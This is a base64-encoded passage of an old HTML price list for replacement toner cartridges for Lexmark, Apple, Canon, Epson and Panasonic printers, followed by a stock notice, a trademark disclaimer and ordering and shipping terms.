QkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdO PSJDRU5URVIiPkl0ZW0gIzM8L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xP Uj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5U RVIiPk9wdHJhIEUzMTAsIEUzMTI8L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdD T0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJD RU5URVIiPiZuYnNwOzEyQTIyMDI8L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdD T0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJD RU5URVIiPiQ4OTwvRk9OVD48L1REPg0KPC9UUj4NCjxUUj48VEQgVkFMSUdOPSJNSURETEUiIEJH Q09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0i Q0VOVEVSIj5JdGVtICM0PC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9 IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVS Ij5PcHRyYSBFPC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZm MDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj4mbmJz cDs2OUc4MjU2Jm5ic3A7PC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9 IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVS Ij4kNTk8L0ZPTlQ+PC9URD4NCjwvVFI+DQo8VFI+PFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9S PSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRF UiI+SXRlbSAjNTwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZm ZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+T3B0 cmEgUzwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4N CjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+Jm5ic3A7MTM4 MjYyNSZuYnNwOzwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZm ZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+JDEz NTwvRk9OVD48L1REPg0KPC9UUj4NCjxUUj48VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNm ZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5J dGVtICM2PC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAi Pg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5PcHRyYSBU PC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZP TlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj4mbmJzcDsgMTJBNTg0 MDwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxG T05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+JDE2NTwvRk9OVD48 L1REPg0KPC9UUj4NCjxUUj48VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0K PEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5JdGVtICM3PC9G T05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQg U0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5PcHRyYSBFNDEwLzQxMjwv Rk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05U IFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+Jm5ic3A7IDRLMDAxOTgm bmJzcDs8L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+ DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPiQxMTU8L0ZP TlQ+PC9URD4NCjwvVFI+DQo8L1RBQkxFPg0KPC9DRU5URVI+PC9QPg0KDQo8VT48Rk9OVCBGQUNF PSJBcmlhbCxIZWx2ZXRpY2EiIFNJWkU9NSBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRF UiI+Rm9yIEFwcGxlIFByaW50ZXJzOjxJPiAob24gUGFnZSANCjgpPC9QPjwvST48L1U+PC9GT05U Pg0KPFAgQUxJR049IkNFTlRFUiI+PENFTlRFUj48VEFCTEUgQk9SREVSIENFTExTUEFDSU5HPTEg V0lEVEg9NDk5Pg0KPFRSPjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8 UCBBTElHTj0iQ0VOVEVSIj48Rk9OVCBTSVpFPTQgQ09MT1I9IiNmZmZmZmYiPklURU08L0ZPTlQ+ PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpF PTQgQ09MT1I9IiNmZmZmZmYiPjxQIEFMSUdOPSJDRU5URVIiPkRFU0NSSVBUSU9OPC9GT05UPjwv VEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00 IENPTE9SPSIjZmZmZmZmIj48UCBBTElHTj0iQ0VOVEVSIj5NRkcjPC9GT05UPjwvVEQ+DQo8VEQg VkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIj ZmZmZmZmIj48UCBBTElHTj0iQ0VOVEVSIj5QUklDRTwvRk9OVD48L1REPg0KPC9UUj4NCjxUUj48 VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9S PSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5JdGVtJm5ic3A7ICMxPC9GT05UPjwvVEQ+DQo8 VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9S PSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5QZXJzb25hbCBMYXNlcldyaXRlcjwvRk9OVD48 L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9 NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+TTAwODlMTEE8L0ZPTlQ+PC9URD4N CjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09M T1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPiQ1NDwvRk9OVD48L1REPg0KPC9UUj4NCjxU Uj48VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENP TE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5JdGVtICMyPC9GT05UPjwvVEQ+DQo8VEQg VkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIj MDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5MYXNlcldyaXRlciAzMDBQWC8gMzIwLTRMLCs0TUw8 L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9O VCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPk0yMDQ1R0E8L0ZPTlQ+ PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpF PTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPiQ1NDwvRk9OVD48L1REPg0KPC9U Uj4NCjxUUj48VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0la RT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5JdGVtICMzPC9GT05UPjwvVEQ+ DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENP TE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5MYXNlcldyaXRlciBTZWxlY3QgMzYwPC9G T05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQg U0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5NMTk2MEdBPC9GT05UPjwv VEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00 IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj4kNzQ8L0ZPTlQ+PC9URD4NCjwvVFI+ DQo8VFI+PFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9 NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+SXRlbSAjNDwvRk9OVD48L1REPg0K PFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xP Uj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+TGFzZXJXcml0ZXIgMTYvIDYwMCBQcm8mbmJz cDs8L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8 Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPk0yNDczR0E8L0ZP TlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBT SVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPiQ1OTwvRk9OVD48L1REPg0K PC9UUj4NCjxUUj48VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQg U0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5JdGVtICM1PC9GT05UPjwv VEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00 IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5MYXNlcldyaXRlciAxMi8gNjQwIFBT PC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZP TlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5NNDY4M0dBJm5ic3A7 PC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZP TlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj4kODk8L0ZPTlQ+PC9U RD4NCjwvVFI+DQo8VFI+PFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxG T05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+SXRlbSAjNjwvRk9O VD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJ WkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+TGFzZXIgV3JpdGVyIE5ULzJO VDwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxG T05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+TTQ1MzJHQTwvRk9O VD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJ WkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+JDQ5PC9GT05UPjwvVEQ+DQo8 L1RSPg0KPC9UQUJMRT4NCjwvQ0VOVEVSPjwvUD4NCg0KPEZPTlQgRkFDRT0iQXJpYWwsSGVsdmV0 aWNhIj48UCBBTElHTj0iQ0VOVEVSIj4mbmJzcDs8L0ZPTlQ+PFU+PEZPTlQgRkFDRT0iQXJpYWws SGVsdmV0aWNhIiBTSVpFPTUgDQpDT0xPUj0iIzAwMDA4MCI+Rm9yIENhbm5vbiBDb3BpZXJzOiAo UGFnZSAxMCk8L1A+PC9VPjwvRk9OVD4NCjxQIEFMSUdOPSJDRU5URVIiPjxDRU5URVI+PFRBQkxF IEJPUkRFUiBDRUxMU1BBQ0lORz0xIFdJRFRIPTQ5OT4NCjxUUj48VEQgVkFMSUdOPSJNSURETEUi IEJHQ09MT1I9IiNmZmZmMDAiPg0KPFAgQUxJR049IkNFTlRFUiI+PEZPTlQgU0laRT00IENPTE9S PSIjZmZmZmZmIj5JVEVNPC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9 IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjZmZmZmZmIj48UCBBTElHTj0iQ0VOVEVS Ij5ERVNDUklQVElPTjwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIj ZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iI2ZmZmZmZiI+PFAgQUxJR049IkNFTlRFUiI+ TUZHICM8L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+ DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiNmZmZmZmYiPjxQIEFMSUdOPSJDRU5URVIiPlBSSUNFPC9G T05UPjwvVEQ+DQo8L1RSPg0KPFRSPjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYw MCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPkl0ZW0g IyAxPC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0K PEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5QQyA2LyA2UkUv IDcvIDgvIDExLyAxMi8gNjU8L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xP Uj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5U RVIiPiZuYnNwO0EzMCZuYnNwOzwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NP TE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNF TlRFUiI+JDY5PC9GT05UPjwvVEQ+DQo8L1RSPg0KPFRSPjxURCBWQUxJR049Ik1JRERMRSIgQkdD T0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJD RU5URVIiPkl0ZW0gIyAyPC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9 IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVS Ij5QQyAzMDAvMzIwLzM0MC8zNjAmbmJzcDsgQWxsIDMwMCBTZXJpZXM8L0ZPTlQ+PC9URD4NCjxU RCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9 IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPiZuYnNwO0U0MCZuYnNwOzwvRk9OVD48L1REPg0K PFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xP Uj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+JDg5PC9GT05UPjwvVEQ+DQo8L1RSPg0KPFRS PjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09M T1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPkl0ZW0gIzM8L0ZPTlQ+PC9URD4NCjxURCBW QUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMw MDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPlBDIDcwMC83MjAvNzYwJm5ic3A7IEFsbCA3MDAgU2Vy aWVzPC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0K PEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj4mbmJzcDtFNDAm bmJzcDs8L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+ DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPiQ4OTwvRk9O VD48L1REPg0KPC9UUj4NCjxUUj48VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAi Pg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5JdGVtICM0 PC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZP TlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5QQyA5MDAvOTEwLzky MCZuYnNwOyBBbGwgOTAwIFNlcmllczwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBC R0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049 IkNFTlRFUiI+Jm5ic3A7RTQwPC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09M T1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VO VEVSIj4kODk8L0ZPTlQ+PC9URD4NCjwvVFI+DQo8L1RBQkxFPg0KPC9DRU5URVI+PC9QPg0KDQo8 VT48Rk9OVCBGQUNFPSJBcmlhbCxIZWx2ZXRpY2EiIFNJWkU9NSBDT0xPUj0iIzAwMDA4MCI+PFAg QUxJR049IkNFTlRFUiI+Rm9yIEVwc29uIGFuZCBQYW5hc29uaWMgDQpQcmludGVyczoob24gUGFn ZXMgNCAmYW1wOyA3KTwvUD48L1U+PC9GT05UPg0KPFAgQUxJR049IkNFTlRFUiI+PENFTlRFUj48 VEFCTEUgQk9SREVSIENFTExTUEFDSU5HPTEgV0lEVEg9NDk5Pg0KPFRSPjxURCBWQUxJR049Ik1J RERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8UCBBTElHTj0iQ0VOVEVSIj48Rk9OVCBTSVpFPTQg Q09MT1I9IiNmZmZmZmYiPklURU08L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdD T0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQ+PFAgQUxJR049IkNFTlRFUiI+Jm5ic3A7PC9G T05UPjxGT05UIFNJWkU9NCBDT0xPUj0iI2ZmZmZmZiI+REVTQ1JJUFRJT048L0ZPTlQ+PC9URD4N CjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09M T1I9IiNmZmZmZmYiPjxQIEFMSUdOPSJDRU5URVIiPk1GRyAjPC9GT05UPjwvVEQ+DQo8VEQgVkFM SUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjZmZm ZmZmIj48UCBBTElHTj0iQ0VOVEVSIj5QUklDRTwvRk9OVD48L1REPg0KPC9UUj4NCjxUUj48VEQg VkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIj MDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5JdGVtICMgMTwvRk9OVD48L1REPg0KPFREIFZBTElH Tj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4 MCI+PFAgQUxJR049IkNFTlRFUiI+RXBzb24gMTAwMC8xNTAwPC9GT05UPjwvVEQ+DQo8VEQgVkFM SUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAw MDgwIj48UCBBTElHTj0iQ0VOVEVSIj5TMDUxMDExJm5ic3A7PC9GT05UPjwvVEQ+DQo8VEQgVkFM SUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAw MDgwIj48UCBBTElHTj0iQ0VOVEVSIj4kMTA1PC9GT05UPjwvVEQ+DQo8L1RSPg0KPFRSPjxURCBW QUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMw MDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPkl0ZW0gIzImbmJzcDs8L0ZPTlQ+PC9URD4NCjxURCBW QUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMw MDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPkVwc29uIEVQTDcwMDAvODAwMCZuYnNwOzwvRk9OVD48 L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9 NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+UzA1MTIwMCZuYnNwOzwvRk9OVD48 L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9 NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+JDEwNSZuYnNwOzwvRk9OVD48L1RE Pg0KPC9UUj4NCjxUUj48VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZP TlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5JdGVtICMzPC9GT05U PjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0la RT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5QYW5hc29uaWMgOTAvOTUmbmJz cDs8L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8 Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPi0tLS0tLS0tLS0t LS0tLS08L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+ DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPiQxMDU8L0ZP TlQ+PC9URD4NCjwvVFI+DQo8L1RBQkxFPg0KPC9DRU5URVI+PC9QPg0KDQo8VT48Rk9OVCBTSVpF PTY+PFAgQUxJR049IkNFTlRFUiI+U29ycnksPC9VPjwvRk9OVD48Rk9OVCBTSVpFPTU+Jm5ic3A7 IFN0aWxsIG5vIElua2pldHMsIGJ1YmJsZSBqZXRzIG9yIA0KWGVyb3ggaW4gc3RvY2s8L0ZPTlQ+ IDxCUj4NCiZuYnNwOyA8QlI+DQombmJzcDsgPEJSPg0KJm5ic3A7IDwvUD4NCjxCPjxVPjxQIEFM SUdOPSJDRU5URVIiPkRJU0NMQUlNRVJTPC9CPjo8L1U+IDwvUD4NCjxQIEFMSUdOPSJDRU5URVIi PiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyBBbGwgdHJhZGVtYXJrcywgYnJhbmQgbmFtZXMgYW5k IGRpYWdyYW1zIGxpc3RlZCBvciBzaG93biBhYm92ZSA8QlI+DQphcmUgcHJvcGVydHkgb2YgdGhl aXIgcmVzcGVjdGl2ZSBob2xkZXJzJm5ic3A7Jm5ic3A7IGFuZCB1c2VkIGZvciBkZXNjcmlwdGl2 ZSBwdXJwb3NlcyBvbmx5IDxCUj4NCi5XZSBkbyBub3QgY2FycnkgYW55IEhQIE9FTSZuYnNwOyBQ cm9kdWN0cy4gPC9QPg0KPFU+PEZPTlQgRkFDRT0iQ29taWMgU2FucyBNUyI+PFAgQUxJR049IkNF TlRFUiI+Tk9URVM8L1U+OjwvRk9OVD4gPC9QPg0KPFAgQUxJR049IkNFTlRFUiI+VW5pdmVyc2l0 eSBhbmQgU2Nob29sIFB1cmNoYXNlIG9yZGVycyB3ZWxjb21lLiAoTm8gQ3JlZGl0IGFwcHJvdmFs IHJlcXVpcmVkLiBBbGwgb3RoZXIgUHVyY2hhc2UgDQo8QlI+DQombmJzcDsmbmJzcDsmbmJzcDsg b3JkZXJzIHJlcXVpcmUgY3JlZGl0IGFwcHJvdmFsIDxCUj4NCiZuYnNwO1BheSBieSBjaGVjayAo Qy5PLkQuKSwgQ3JlZGl0IGNhcmQgb3IgcHVyY2hhc2Ugb3JkZXIgKE5ldCAzMCBEYXlzKSA8QlI+ DQpTaGlwcGluZyBjaGFyZ2VzIHN0YXJ0IGF0ICQ0LjUgcGVyIGNhcnRyaWRnZS4gQWRkICQxLjUg Zm9yIGVhY2ggYWRkaXRpb25hbCBjYXJ0cmlkZ2UuIENhcnRyaWRnZXMgPEJSPg0KJm5ic3A7Jm5i c3A7Jm5ic3A7IGRlbGl2ZXJlZCBieSBGZWRlcmFsIEV4cHJlc3Mgd2l0aGluIDIgdG8gNSB3b3Jr aW5nIGRheXMgZGVwZW5kaW5nIG9uIHlvdXIgbG9jYXRpb24uIDxCUj4NClNoaXBwaW5nIGFuZCBi aWxsaW5nIGFkZHJlc3NlcyBhcmUgcmVxdWlyZWQgZm9yIFB1cmNoYXNlIE9yZGVyIHRyYW5zYWN0 aW9ucy4gWW91ciBpbnZvaWNlIHdpbGwgPEJSPg0KJm5ic3A7Jm5ic3A7Jm5ic3A7IGJlIGF0dGFj aGVkIHRvIHlvdXIgcGFja2FnaW5nLiBQbGVhc2UgcGVhbCBhbmQgcGF5IHdpdGhpbiAzMCBkYXlz 